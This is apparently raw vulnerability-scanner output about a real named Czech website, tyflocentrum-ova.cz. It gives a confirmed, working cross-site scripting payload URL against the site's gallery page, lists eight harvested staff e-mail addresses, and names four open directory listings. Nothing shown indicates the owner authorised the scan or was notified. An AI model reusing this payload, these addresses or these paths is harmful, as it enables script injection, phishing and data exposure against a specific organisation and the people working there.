tyflocentrum-ova.cz

http://www.tyflocentrum-ova.cz

XSS (Cross-site Scripting)

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://www.tyflocentrum-ova.cz/galerie2.php?cesta=2011/mikulas&nazev='"--></style></script><script>alert(0x000C50)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: nazev
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x000C50)</script>

|||  E-mail Address Disclosure

Vulnerable URL :  http://www.tyflocentrum-ova.cz/sluzba-osp-2010.php
Found E-mails:
posta@tyflocentrum-ova.cz
honkysova@tyflocentrum-ova.cz
kurland@tyflocentrum-ova.cz
winkler@tyflocentrum-ova.cz
durkova@tyflocentrum-ova.cz
tedova@tyflocentrum-ova.cz
stefanovic@tyflocentrum-ova.cz
nohavicova@tyflocentrum-ova.cz

|||  Directory Listing (Apache)

Severity :  Information
Confirmation :   Confirmed
Vulnerability Classifications:  PCI 6.5.6 OWASP A6 CAPEC-127 CWE-548

http://www.tyflocentrum-ova.cz/download/
http://www.tyflocentrum-ova.cz/bariery/
http://www.tyflocentrum-ova.cz/kontakty/
http://www.tyflocentrum-ova.cz/dokumenty/